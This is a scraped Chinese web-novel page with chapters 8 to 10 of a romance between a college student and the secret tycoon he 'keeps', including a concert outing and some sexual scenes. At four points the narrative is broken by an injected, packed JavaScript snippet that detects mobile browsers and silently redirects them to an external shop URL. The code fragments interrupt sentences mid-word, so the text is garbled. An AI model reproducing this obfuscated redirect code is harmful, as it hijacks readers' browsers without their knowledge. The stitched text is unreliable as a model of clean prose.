d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048945|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他站在一辆宝蓝色的跑车旁,那跑车酷炫无比,赫然就是刚刚几个女生口中的帕加尼Utopia。 奚时这才想起来,邵寻之前说他订了一款很拉风的限量版跑车,刚好作为他们的婚车,估计就是指的这一辆。 现在出现在这里,明显是接汪洋。 这种车出行必炸街,估计到下周,全燕大的人都知道汪洋有个开帕加尼Utopia的对象了。 邵寻是邵宇集团二公子的身份肯定也被扒出来,到时候不知道多少人羡慕追捧汪洋。 这两口子,可真够高调的。 不过他们婚事已经黄了,别说他开豪车接汪洋,开宇宙飞船接也不关他事。 奚时冷淡地冲他点点头。 邵寻却走过来。 奚时的好看在燕大是出了名的,这些人见邵寻朝他走去,一脸果然如此的了然表情。 大美人就应该配富哥嘛。 奚时脸都黑了,扭头就要走,又听到邵寻说:“我就一句话,说完就走。” 奚时面无表情:“放。” “……”邵寻噎了一下,才低声说,“婚房里还有一些你的东西,你记得过去拿一下。” “不要了,送给你。” 奚时说完,看到自己那辆原谅绿的车出现在视野里,冰冷的神色顿时一缓,头也不回地往那里跑去。 邵寻也从车牌认出那辆车是奚时的,还想着奚时是不是拿他给的一千万请司机了。 但随着车子开近,他从挡风玻璃看进去,瞥见开车的男人时,神色一僵。 开车的人有一副出色的外表,穿着西装,看起来成熟帅气又矜贵。 他跟奚时在一起一年,很了解他的喜好。 这男人,完全是按照他的审美长的。 怎么回事? 这男的是谁,他为什么会开奚时的车?! 邵寻想要看得清楚一点,可奚时上车后,车子开始掉头,看不到那男人的样子了。 “邵哥,你怎么了,看见谁了吗?” 耳边忽然传来汪洋温柔的声音,邵寻从情绪中回过神来,这才发现自己紧紧握着拳头。 “没谁,走吧。”邵寻忽然觉得有点索然无味,拉开车门上车。 汪洋其实刚刚和奚时前后脚出来,全都看到了,他咬了咬唇。 邵寻到底什么意思,不是婚约都解除了吗? …… 刚刚的小插曲对奚时并没有造成什么影响,尤其是看到景沉后,心情更是好起来。 他刚开学事情多,和景沉已经好几天没见面了,这会儿看到跟见了久违的恋人一样,心又狂跳不止。 今天景沉穿的是上次他在商场帮他买的西装,这西装上次刚上身,他们就直奔酒店,奚时记得上衣都被他抓皱了。 没想到今天穿出来,西装被熨烫得挺括板正,一个褶皱也没有,估计是送干洗店清理熨烫过了。 不错,挺心细精致。 景沉身姿笔挺,匀称的身材和流畅的线条一览无余,让人恨不得一层层剥开看看其诱人的内里。 奚时有点后悔约男人去听什么劳什子交响乐了,约去酒店啊,直接滚床单不香么。 他的目光太热烈直白,景沉想忽略都不行。 趁着等红灯的间隙,他伸出手,捂在奚时的美人眼上。 男人的掌心灼热,烫得奚时的心跳得更快了,有点好奇景沉蒙他眼睛想干嘛。 正当他满心期待时,听到景沉说:“再看要收费了。” 奚时:“......” 不是,你这么一个看着超凡脱俗的帅哥,铜臭味这么重合适么! 8. 第 8 章 奚时被景沉这么一下头,澎湃的色心稍微冷却了一点。 唉,明明他以前是个很矜持内敛的人,怎么碰到景沉就跟吃了春那个药一样。 以前跟邵寻在一起时,邵寻要为他的白月光守童子身,从未提过这方面要求,他也从没想过要跟他去开房。 之前和一个朋友聊天,话赶话说到这事,朋友得知他们在一起快一年没睡,震惊得下巴差点掉下来,问他是怎么忍得住的。 奚时更震惊,这有什么忍不住的。 现在他才发现,碰到合胃口的,是真的忍不住啊。 但是,话又说回来了,景沉本来就是他包养的人,本来就是为了某方面需求的,更何况此行他还加了钱呢。 既然如此,他为什么要忍! “哥,才五点哎,我们现在过去是不是有点早了?” “吃个饭,差不多。” “我上次跟你说我的车空间挺大,你要不要亲自检测一下?” “……” 淡定沉稳如景沉,也差点手一抖把车开到马路牙子上去。 偏偏奚时还不懂收敛,伸手放在他大腿上,食指在他腿上画着圈圈,语气暧昧。 “我知道附近有个僻静的停车场……” 景沉自认为是一个相对传统保守的人,择偶的标准也是要求成熟独立,在情感上庄重克制,以事业为重的人。 他以为被一个小朋友“包养”已经是他的极限,没想到还能一次又一次被突破下限,连在停车场......这么不庄重的事情也干得出来。 检测做得有点久,小别胜新婚,干柴遇烈火,空气里都是潮湿的黏腻。 一个小时后,奚时软着腿从后座下来。 不得不说帕拉梅拉的空间略显局促,他腰都快要断了。 见景沉穿戴整齐从车上下来,一脸轻松,奚时忍不住磨牙。 他怎么感觉一周不见,景沉体力更好了呢? “怎么了?”景沉感受到他幽怨的目光,问。 奚时:“没什么,就是看到你现在的样子,想到一个词。” 景沉把刚刚产生的垃圾丢进旁边的垃圾桶,问:“什么词?” “衣冠禽兽。” 景沉:“……” 这么一通折腾完,大学生比哈士奇还旺盛的精力被折腾光,奚时再也没那个色心盯着景沉瞧了,他几乎是一路睡到目的地的。 天禾公馆的外头已经停满了豪车。 由于是音乐会,今晚来的不仅有商界人士,还有娱乐圈导演制片人之类的大佬和明星。 音乐会的门票也分三六九等,奚时是找熟人要的,而且又前几天才要,时间上太赶了,为了不为难别人,要的都是普通的门票。 所以尽管他们二人外貌出众,在这利益至上的名利场,也没引起多少人的注意。 走进天禾公馆的大门后,是一个广阔的大堂,穹顶水晶吊灯璀璨,绚烂无比。 大堂中间是交响乐队的表演舞台,他们普通票的只能在大堂观看演奏,也能去二三楼的酒会区和休息区交际吃东西休息。 VIP票的则能去三楼单独的包间观看演出。 还有数量稀少的贵宾票,能在顶楼贵宾厅边欣赏夜景边看演出,有顶级盛宴招待,待遇堪比皇帝。 奚时这会儿饿得前胸贴后背,说:“哥,我们先去二楼餐厅吃点东西吧。” 他们不是来交际的,所以酒会那边就不去了。 而且奚时被退婚的风头还没过,过去就是个给他们提供谈资的素材包。 景沉就更不需要交际了,说:“走吧。” 等电梯时,一个年轻的男人被一群个人簇拥着走过来。 那年轻男人戴着墨镜,下巴微扬,目不斜视,被人簇拥着如众星拱月,看样子地位斐然,不知道是哪个大人物。 这时电梯刚好到了,奚时和景沉正准备进去,却被按电梯的服务员伸手拦住。 “两位稍等一下,让霍三少先上。” 霍三少? 我擦,原来是首富霍家的人! 能被称为霍三少的,估计还是霍家那位神秘家主的亲侄子。 难怪排场这么大。 奚时还是第一次见到活的霍家人,忍不住多看了几眼。 首富啊,向他走来的是霍三少吗? 不,是人民币! 这霍三少看着就是个嚣张跋扈的,为避其锋芒,奚时正要拉着景沉让开,听到景沉不咸不淡地问:“为什么要让?” 也不知道是不是巧合,景沉刚出声,那位昂着首走路的霍三少脚下一个踩空,险些当场表演个平地摔。 他不可思议地扯掉墨镜,看向他们二人,正要说什么,见到景沉漫不经心地抬起手,在嘴边做了个拉住的动作,让他生生把要说的话咽回去了。 差点噎死。 奚时也没想到景沉平时挺成熟沉稳的,忽然这么刚。 不过他要给没来过这种高端场合,不懂得避让权贵的小情儿撑腰,于是也跟着质问服务员:“对啊,我们先来的,为什么要让!” 服务员差点要翻白眼了,也不看看你们是什么身份,人家是什么身份。 然而,他还没出声,那位高贵的霍三少已经快步走过来,忙不迭地说:“不用让,不用让。” 他刚刚还如高傲的孔雀,这会儿忽然变成了被驯服的家鸡,笑得平易近人,说:“你们二位先来的,二位先请,请。” 景沉一点都不带客气的,牵着奚时的手,抬脚走进电梯。 霍三少见到他们牵在一起的手,又是一脸见鬼的表情,甚至抬手揉了揉眼睛。 其实电梯的空间还很大,霍三少一群人进去也装得下,可他愣是不敢踏进去一步。 电梯门合上,簇拥着霍三少的人小心问:“霍三少,刚刚那两人您认识啊?” 霍三少立刻否认:“不认识,怎么可能认识!” 他不敢认识啊! 电梯里,奚时撇了撇嘴,说:“我怀疑刚刚那个霍三少看上你的美色了。” “……???” 景沉庆幸自己这会儿不是在走路,不然要表演和刚刚那人同款的平地摔。 他轻咳一声,问:“怎么说。” 奚时气鼓鼓:“他本来多高傲啊,看到你的脸就开始装乖装谦和有礼,不是被色所迷是什么?” 景沉哑然失笑。 “没关系,我很专一,只需要一个雇主。” 奚时轻哼一声,嘴角比AK还难压。 嘿嘿。 嘿嘿嘿。 等他们吃完饭下来,演奏也差不多要开始了,嘉宾在陆续入座。 奚时他们的座位靠前,他们刚找到座位,景沉的手机响了。 他看了一眼来电显示,说:“你先去坐,我接个电话。” “好噢,去吧。” 景沉去外面接电话,奚时自顾自坐下来,屁股刚沾到座位,旁边座位从他走过来就打量他的中年男人试探开口:“奚少?” 奚时:“?” 奚时转过头,中年男人见到他的脸,面漏微笑:“真的是您啊奚少,幸会,幸会。” “你是……” “我是万嘉娱乐的负责人于万嘉,这是我的名片。” 于万嘉双手递上自己的名片,奚时接过来,入手感觉不大对劲。 他定睛一看,好家伙,这名片,踏马是纯金的,掂量着有近十克。 现在的黄金市价,大几千呐。 就……挺离谱的。 一个人再有钱也不可能随手给人发纯金名片,奚时把玩着手中的名片,似笑非笑:“原来是于总。” “是我,嘿嘿,没想到会在这里碰到您,您怎么没去贵宾席坐?” 奚时:“因为我的是普通票。” “……” 于万嘉噎了下,随即又笑道,“普通票好,普通票好啊,平易近人,哈哈,那个,邵二公子没跟您一起来吗?” 奚时挑了下眉,他就说他一个大学生,怎么会平白被人这么巴结,原来是冲着邵寻来的。 不过,这人一个开娱乐公司的,居然没听说他跟邵寻退婚的事。 就这洞察力,还是别吃娱乐圈这碗饭了,干脆找个厂子上班吧。 奚时还没说话,坐在他们前排座位的一位女士“噗嗤”一下笑出声。 她回过头,咯咯笑道:“这位先生还不知道吧,他上周就被邵二公子退婚了。” 刚鬼鬼祟祟摸进来,在奚时身后不远处PY了一个座位偷听的霍三少捂住胸口。 刚被退婚……这是不是有点太劲爆了。 于万嘉一脸吃惊:“此话当真?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048946|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那还能有假,不然你觉得他邵二公子未婚夫的身份,会屈尊纡贵来我们这普通票的位置?” 奚时从决定和邵寻解除婚约那一刻开始,他就做好了被拿来做谈资嘲笑的准备。 被嘲笑一下而已,又不是要他的命,何况他拿了一千万呢! 所以这会儿他也不觉得尴尬,甚至反驳道:“这话不对,我还是邵二公子未婚夫的时候,也坐过普通票的位置。” 这话落音,霍三少忍不住,发出噗嗤一声笑。 奚时心说这些人怎么笑起来都噗嗤噗嗤的,戳气球吗? 于万嘉却笑不出来,奚时这话等于正面承认他真跟邵二公子退婚了。 想到刚刚的逢迎讨好,他脸色有点不好看。 “奚少,”于万嘉不客气地说,“我刚刚给名片时,不小心拿错了,这个才是我的名片,麻烦把你手上那个还给我一下。” 说着,他递出一张纸质的名片。 奚时没接他的名片,不过还是把金名片递还给了他,并且很“体贴”地说:“下次可要看清楚再送呐于总。” 于万嘉脸色更难看了。 他拿回自己的金名片后,嫌弃地在自己的袖子上擦了两下,冷哼:“真晦气。” 奚时:“......” 气笑了他妈的。 这时景沉接完电话回来,见他气鼓鼓的样子,问:“发生了什么事?” 奚时不想把负面情绪带给他,深吸一口气平复了一下心情,露出一个笑容,说:“没事啦哥。” 景沉眼睛眯了眯,瞥了一眼后面努力假装自己不存在的霍三少。 两分钟后,景沉的手机震了一下,备注为“霍思远”的好友发来消息,景沉快速浏览了一下信息,没说什么。 但五分钟后,表演即将开场时,天禾公馆背后的大老板忽然走进来。 这位老板人称叶四爷,大家几乎都认识他,他无视了一圈人的奉承,环顾了一圈四周,最后快步朝一个方向走去。 奚时正在研究怎么把横在他和景沉中间那个扶手抬起来,这样就可以贴贴了。 然而那开关估计时间长了腐朽了,他稍微一用力,“啪”地一声,开关被他掰下来了。 “……” 奚时目瞪口呆,我擦! “奚少。” 奚时一脸茫然地拿着那开关,抬头,看到叫他的人时,顿时面露心虚。 他就弄坏一个开关而已,不用这天禾幕后的大老板亲自来索赔吧。 奚时干笑:“那啥,我不是故意的,我会赔的。” “小事,小事,哪里需要您赔。” 叶四爷笑得比他还灿烂:“不知道奚少光临,有失远迎,我让人为您准备了贵宾专座,特来请您移驾去顶楼。” 奚时:“......” 奚时整一个无语。 “我已经和邵家退婚了,你不用这么客气。” 叶四爷笑容不变:“我是专程来请您的,跟什么邵家多家的没关系,您自己就是豪门,哪里需要看其他人的面子。” 奚时:“...........” 好小众的语言,他怎么听不懂。 奚时不知道他葫芦里卖的什么药,拒绝道:“不用了,这里挺好的,多谢了。” 叶四爷也不勉强,态度良好地说:“那您有什么吩咐随时叫这里的服务员找我,我一晚上都在这里。” “好的。” 叶四爷这才转身离开,周围的人看奚时的目光都变了。 特别是那个于万嘉,后悔得差点捶胸顿足。 叶四爷是什么人物,邵家的当家人在这里,他都未必会拿出这么谦卑恭敬的态度。 这让人难以想象奚时被退婚后,背靠上了什么大山。 奚时比他们更茫然,他看向一直没说话的景沉。 这哥们是真沉得住气,居然面不改色的。 但也有可能,他并不认得叶四爷,所以不知道刚刚那一幕意味着什么。 “哥。” “嗯?”景沉侧头,“怎么了?” “我有个大胆的想法。” “什么想法?” “我怀疑我是首富流落在外的私生子,不然哪里来的那么大面子。” 景沉:“…………” 怀疑得很好,下次别怀疑了。 9. 第 9 章 奚时所谓首富私生子的话,当然是他开的一个玩笑。 首富今年貌似才三十多岁,哪里生得出他这么大的儿子来。 那个叶四爷估计一开始是冲着邵家的面子来的,被他点破退婚一事后,为了给自己找个台阶下才那么说。 不过不得不说,挺爽的,哈哈。 特别是看那个于万嘉捶胸顿足,恨不得扇自己几个巴掌的样子,简直不要太解气。 小样儿,让你狗眼看眼低。 那个叶四爷走后不久,又有工作人员过来,把椅子扶手的开关修好了,奚时如愿以偿地把扶手抬起来,可以靠着景沉坐了。 不过他实在没有什么艺术细胞,交响演奏开始后不久,他的眼皮就开始打架。 原本听得全神贯注的景沉只感觉肩头一重,他转过头,看到奚时靠着他,睡得人事不省。 他以为奚时邀他来听交响乐,是因为喜欢,还觉得这年轻人看着浮躁,心也挺沉静。 现在看来,明显是他想多了。 景沉无奈伸出手,把奚时的头扶好,省得等下起来脖子疼又哭唧唧。 刚扶好,奚时就被吵醒了,他迷迷糊糊抬起头,听到景沉低声说:“你继续睡,结束我叫你。” 奚时又把头靠回去,自己找了个舒服的姿势,含糊问:“靠肩膀要加钱吗。” 景沉顿了顿,说:“今晚免费。” 奚时哼哼唧唧:“你额外收费项目那么多,我要包养不起你了。” 那谁知道你钱太多,会不会看到顺眼的又包养。 景沉拍了拍他发顶,柔软的触感又让他忍不住揉了揉,说:“睡吧。” 他们谈话声音不大,又有音乐的覆盖,正常其他人都不会听到。 当然,也有个别不正常的人听得到。 比如坐在他们后面,全程注意力都在他们身上的霍思远。 他那个本来一向高高在上,仿佛人世间没有东西值得他温柔以待的小叔这么温柔地对待那个男生已经让他大跌眼镜。 更离谱的是,他好像听到了那男生说他包养他小叔?! 震惊已经无法形容霍思远此时的心境了,他甚至伸出手,掐了一把自己的大腿。 嘶。 贼他妈痛。 不是梦。 他这个小叔,似乎在玩一种很新的play…… 音乐会散场,已经十点了。 睡足觉的奚时精神奕奕地和景沉离开天禾公馆,坐上车后,景沉问:“送你回家?” “我……我家乱得很,哈哈,我们还是就近找一家酒店吧。”奚时说这话时有点心虚。 他沉溺于景沉的色相没错,但他们注定要分手,情人不带回家这个道理他还是懂的。 景沉握着方向盘的手紧了紧,淡声道:“行。” —— 第二天是周六不用上班,之前一直都早走的景沉难得也睡了个懒觉。 不过他自律惯了,所谓懒觉,也只是睡到8点。 起床后,景沉先去洗漱吃早餐,又打了一通电话,再看完今天的早间财经新闻,以及股市行情和邮箱里的重要文件,又阅读了三十分钟,时间都已经快十点了。 奚时没有任何要醒来的意思。 年轻就是好,给他一张床,能睡穿地球。 不过再晚时间要来不及了。 景沉走到床边,把人叫醒。 奚时睡得正香,被吵醒后脑子依旧不清醒,揉着眼睛迷迷糊糊问:“几点了。” 景沉说:“十点。” “哦,那还早,”奚时打了个大哈欠,“我再睡会。” 他翻了个身正欲再睡,被景沉按住。 “前几天开发商发年中福利,我中了两张建海两日豪华游的票,今晚刚好听说那里有蓝眼泪,你要不要跟我一起去?” 景沉自认为不是个提起裤子就跑的渣男,如今他都把人家睡了,就得找机会培养感情。 这两日的时间他刚好能空出来。 “下次吧,”奚时含含糊糊,“我今天有安排。” “……” “过两天就过期了。”景沉暗示。 “那先你给朋友玩呗。” 奚时捧着他的脸,抬起脸在他嘴角亲了一下,用哄人的语气说,“乖啊,下次金主爸爸我补偿你一个更豪华更好玩的。” 景沉:“…………” 奚时说有事,并不是敷衍景沉,他对景沉正新鲜着,好不容易双休,恨不得24小时都跟他黏在一块。 但他真的有事。 谢河要挖的那位技术大牛昨天拿了他给的票听了音乐会,可能是觉得拿人家的手软,终于耐着性子听同去的谢河介绍了他们这个游戏。 听完,他觉得这游戏还挺有发展前景,不是那种卷一波钱就跑的黑心作坊,松了口,答应来帮他们解决技术上的问题。 这位大牛性格较为古怪,就要今天签入职合同。 这么厉害的员工入职,奚时作为公司的投资人兼名义上的老板,肯定是要出面的。 —— 霍思远昨晚无意撞破了他小叔的秘事,回去后越想越不对劲,为了防止年纪轻轻被他小叔暗鲨,今天赶紧上门,想探探小叔的态度。 然而,他小叔并不在家。 管家含蓄又难掩炫耀地说:“家主约会去了。” 连管家都知道了,看来不是什么秘密。 霍思远松了口气,又八卦附体,问:“什么时候的事啊,怎么之前一点风声都没有?” 管家喜滋滋地说:“我也是他早上打电话问方方圆圆姐妹第一次约人去哪里玩好才知道的。” 方方圆圆是他小叔家中负责园艺的一对姐妹花。 正在换屋内摆设鲜花的刘姐笑眯了眼:“打完电话就说这两天都不回,还给我们都发了奖金,我看这家很快要来一位新的主人了。” “可不一定是一位,”管家想到什么,对刘姐说,“小刘,你这花插完就去把婴儿房收拾一下。” 刘姐连声应道:“好,好。” 霍思远:“......” 他不敢说他小叔那个对象是个带把的,怕是白收拾。 看这家里上下喜气洋洋的样子,看来是真的很操心他小叔的终身大事。 “那我不耽误你们工作,”霍思远嘱咐管家,“小叔回来你跟我说一声。”。 “好的,三少。” 霍思远正要离开,门口的监视器“滴”了一声,一个机械女声播报:“燕B85005,欢迎回家。” 管家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048947|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和刘婶都一愣。 “这不是家主昨天开走那辆车吗?”刘婶疑惑道。 为了最周全地迎接主人,只要他们家主的车出现,门口的监视器就会实时播报,告诉他们主人回来了。 管家干笑:“也有可能是他们去建海玩了不需要车,让代驾开回来了,我去看看。” 说着管家走到监视器前,看到屏幕中拍到的主驾驶,他们家主那张熟悉的脸,脸上笑容凝固了。 霍思远也走过来,见他小叔脸上的表情比冰山还冷,顿觉不妙。 “我有事先走了你别跟我小叔说我来过我下次再过来找他拜拜。” 霍思远标点符号都不带地说完,不等管家反应,飞快撒丫子从后门跑了。 他现在对他小叔的对象好奇死了,又不敢去找他小叔打听,更不敢查他小叔,只能暂且把好奇心搁一边,应朋友约出去浪。 开车到了朋友约的地方,霍思远下车后把钥匙丢给泊车小弟,正要进去,眼角余光瞄见一个熟悉的身影进了隔壁咖啡店。 霍思远赶紧把墨镜往下推,视野清楚后他确定了,那就是他小叔那位对象。 哈哈,这可不是他查他小叔,是他小叔对象自己撞上来的。 奚时跟那位技术大牛签完合同后,那大牛就跟谢河讨论起了技术上的事情。 他一个字都听不懂,便下来咖啡店,打算请今天因为这事情加班的员工们喝下午茶。 他刚要点单,柜台前走来一个人,一开口就对点单的小姐姐说:“美女,这位帅哥的单我买了。” 奚时:“……” 奚时转过头,看到了昨天在天禾公馆的电梯口碰到那位霍三少,霍三少见他看过来,举起手冲他挥了挥:“嗨。” 无事献殷勤,非奸即盗。 奚时可没忘记他昨天看到景沉时那反应,面对潜在情敌,他冷漠收回视线,说:“不需要,我自己有钱。” 霍思远以为他把自己当成了登徒子,连忙道:“我没有别的意思,就单纯想跟你交个朋友。” 奚时心说信你才有鬼,他没理霍思远,自顾点了7杯咖啡,又下单了几样甜品和小吃。 这个小婶婶好有个性哦。 霍思远好奇心更旺盛了。 这个咖啡厅大学生有8.8折优惠,见奚时拿出学生卡,霍思远微微睁大眼,脱口而出问:“你是燕大的学生吗?” 奚时:“你猜。” “……”猜个锤锤啊学生卡上都有。 奚时见他一副见鬼的表情,忍不住问:“有这么震惊?” 上次景沉知道他是燕大的学生,好像也是这么震惊。 他看起来就这么不像学生吗? 岂止是震惊,霍思远张了张嘴,好一会儿才找回自己的声音。 “不是,我就是想起来,我有个堂弟也是燕大的,今年大一,这会儿应该还在基地军训。” 奚时:“那你堂弟跟我一样棒棒呢。” “……” 霍思远见他丝毫没反应,也不敢说自己那位堂弟是谁。 他感觉他未来的小婶婶和小叔之间应该有不少秘密,他要是不小心戳破哪个,绝对会被他小叔削。 没想到他小叔老铁树三十年不开花则已,一开花那就来个大闹天空啊。 10. 第 10 章 傍晚,奚时请客,请大牛和今天加班的员工聚餐。 他的车给景沉开了,他还有一辆小跑,不过今天从酒店直接打车过来了,没开出来,去聚餐的地方要打车。 好在时间还早,还没到下班高峰期,打车很好打。 正在等车过来时,一辆跑车慢慢滑过来,停在奚时的面前,驾驶座上的人把墨镜往头顶一推,露出霍思远那张年轻的脸。 “嗨。” 这人怎么阴魂不散的。 奚时一阵无语,首富那神秘高冷的形象,都被这个霍三少拖得接地气了。 而且这霍三少不会在这里守了他一下午吧,可真够闲的啊。 要他是首富,就把这逆侄子丢非洲去开荒。 霍三少莫名打了一个喷嚏,他揉了揉鼻子,说:“去哪里,我送你。” “不需要,我打的车来了。” 奚时说着就要走,又被霍思远叫住。 霍思远拿出手机说:“你我也算是朋友了,加个微信呗。” 谁跟你是朋友。 不过奚时想了想,反正他也不能钻进自己的手机里,偷看景沉的微信号。 而且作为情敌,知己知彼,百战不殆。 “那行吧。” 奚时说着打开二维码让霍思远扫,霍思远扫完,确定添加,等到奚时通过了才重新戴上墨镜。 临走前,他扫了一眼不远处,问:“那个秃子你认识?” 奚时愣了一下,才反应过来他口中的秃子,是那位刚入职的大牛。 而且人家只是地中海而已,哪里就成秃子了。 “我朋友,怎么啦?”奚时有点没好气地问。 “没什么,我就是看他有点眼熟,又一时间想不起来是谁了,直觉告诉我他不是个好人。” “……” 奚时白眼都懒得翻了,心说你看起来更不像好人啊。 很快一行人到了餐厅,奚时报上自己的手机号,服务员带着他们去提前订好的包间。 刚到包间门口,旁边的包间门开了,邵寻一脸落寞地从里面走出来,迎面看到奚时,脸上的表情顿时变成惊喜。 “小时!” 奚时真他妈无语了,燕京有这么小吗到处都是熟人。 他不想理这扑街仔,抬脚要往包厢里走,邵寻挡在他前面,说:“你专程来这里吃饭,是想起来了去年今天,我在这里跟你告白吗?” “......” 这话如水滴入油,工作室其他人都投来八卦的眼神。 奚时低声对谢河说:“你们先进去。” 谢河是见过邵寻的,他不知道奚时跟他之间发生了什么事,但无脑站兄弟就对了。 听到奚时的话,他狠狠瞪了一眼邵寻,才带着其他人进包间。 等人都走完后,奚时双手抱臂,看向邵寻:“没记错的话,我们已经没关系了吧,你在这里恶心谁呢?” 去年,邵、奚两家联姻的意向强烈,奚时暑假被邵寻约出去玩了几次,也觉得他这个人很不错。 所以,邵寻选了个日子约他吃饭,并郑重地向他告了白,二人自此确定关系。 老天作证,奚时真不记得是几月几号了。 而且,他们学校周围高级餐厅就这么几个,风评好的只此一家,他一年都要光顾这家餐厅数十次,谁他妈还在意邵寻曾在这里朝他告白过。 “抱歉,我不是那个意思,我......我也是想起去年今天我在这里告白成功,就鬼使神差地来了这里,又刚巧碰到你,就以为你跟我一样。” “那还真是让你失望了,我没那么贱。” “……” 奚时觉得自己跟邵寻之间没有多余的屁要放,连看他一眼都懒得,转身进了包间。 邵寻下意识追了两步,差点被包间关上的门砸到鼻子。 他也不知道自己这是怎么了,明明已经跟喜欢的人在一起了,又会不由自主地想起和奚时的点滴。 而且,他以前把汪洋当成白月光,汪洋出国这三年不由自主地美化他给他加各种滤镜,如今重逢后他才发现,其实汪洋并没有他想象中那么美好。 他处处把他跟奚时比,就发现他其实处处不如奚时…… 邵寻在门口发了好一会儿怔,来往的服务员都用奇怪的眼神看他,他才转身离开。 结账时,他要把奚时那一份的单也买了,谁知服务员干笑道:“奚先生刚刚特地打招呼,说他的单不需要任何人买,说是……咳,要舔上别处舔,他嫌脏。” 邵寻:“……” 欢迎新员工自然少不了喝酒,奚时啤的也就三杯的量,都不需要别人灌他,大家举杯庆祝环节他基本就歇菜了。 工作室的其他人都知道他那点酒量,喝起来都不带他玩的。 奚时眯着眼,拿出手机,开始骚扰景沉。 你咋不上天:[你的小可爱忽然出现.jpg] 你咋不上天:[o~baby,好想你.jpg] 景沉此时在郊外牧场,刚打完一场马球。 他驭停马,一个利落地翻身下马,马师赶紧毕恭毕敬地上来牵他的马。 一起打的是这牧场的老板兼好友梁凌云,下马后,他长长舒出一口气。 从球童手中接过纸巾擦脑门上的汗,梁凌云颇为不忿地说:“我以为你小半年没玩,终于能赢你一次,谁知道你今天比以往还生猛。” 景沉摘下手套,丢给球童,吐出三个字:“是你菜。” 梁凌云被扎了一刀。 天赋这种东西,没法比啊。 而且,陪打的那些人,知道景沉小费给得多,打起来跟不要命似的,一个比一个狠。 哎,唉…… 金钱这种事情,也没法比啊。 景沉进更衣间,冲了个澡,换上自己刚刚来时穿的常服,从兜里拿出手机,略去几个未接来电,他看到了微信五分钟前奚时发的消息。 第一个还正常,第二个是个蘑菇头小人忽然凑近屏幕朝屏幕嘟嘟嘴亲亲,景沉觉得视觉受到了污染。 他嘴角挂上一抹冷嘲。 到底是想他了,还是想睡他了。 他没回复,把手机放进口袋里,走出更衣间,梁凌云在外面等着他,见他出来,说:“他们送了一些新鲜的松茸和黑松露过来,晚饭就在这里吃吧。” 景沉“嗯”了一声。 走进马场的餐厅,里面烤肉的味道已经弥漫出来,一个俊美的混血青年正拿着夹子,动作优雅地把一片片的松茸往小火炉上放。 梁凌云说:“这是我的侄子梁意,他刚看了你打马球特别崇拜你,而且他马球打得比我好,有机会你们可以切磋切磋。” 景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048948|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉不置可否,抬脚走进去,在服务员拉开的椅子上坐下。 奚时等了半天,没等到景沉的回复,眉头紧锁。 忽然,他起身往外走。 其他人正酒酣耳热,以为他去洗手间了,也没多注意。 奚时一直走到外面,这餐厅隔壁就是一个手机店,他走进去。 “你好,欢迎光临。”柜员冲他热情招呼。 奚时把自己的手机往柜台上一放,说:“我手机坏了,给我来一部新的。” 柜员看了眼他的手机,发现是某款水果手机的最新款,今年七月份才出的机子,质量有这么次? 不过,送上门的生意哪有不做的,她立刻给奚时推荐起几款新的机子来。 奚时迷迷瞪瞪的,选了一款最贵的。 付钱,装卡,下载app,登录微信,打开景沉的聊天框,奚时自信输入。 景沉以要开车为由,婉拒了梁凌云开藏酒,他饮啜杯中的柠檬水,心不在焉地听梁意说他在E国外婆家生活的趣事,放桌上的手机又震了两下。 他拿起来。 你咋不上天:哼,刚我的手机坏了,收不到你的消息,我换了部新的。 “……” 景沉面无表情地按灭屏幕,不过几十秒后,他又打开微信,打字。 景沉:事情办完了? 你咋不上天:哇,换了个手机果然就收到消息了。 你咋不上天:我难道是个天才? 景沉:…… 你咋不上天:我快要忙完啦,正在应酬。 景沉一下了然了。 他可是见识过奚时酒量的。 三杯倒都抬举他了。 你咋不上天:等下有空没? 景沉:“……” 景沉再次面无表情地按灭屏幕,果然三句不离主题。 又想睡他。 “霍总,”梁意见他放下了手机,期期艾艾地问,“等下您回市区吗?” 景沉问:“怎么?” 梁意有点不好意思地说:“就是,我不怎么习惯国内的驾驶和路况,您能捎我一程吗?” 景沉已经吃得差不多了,起身拿起车钥匙说:“走吧。” 梁意一喜,赶紧站起来。 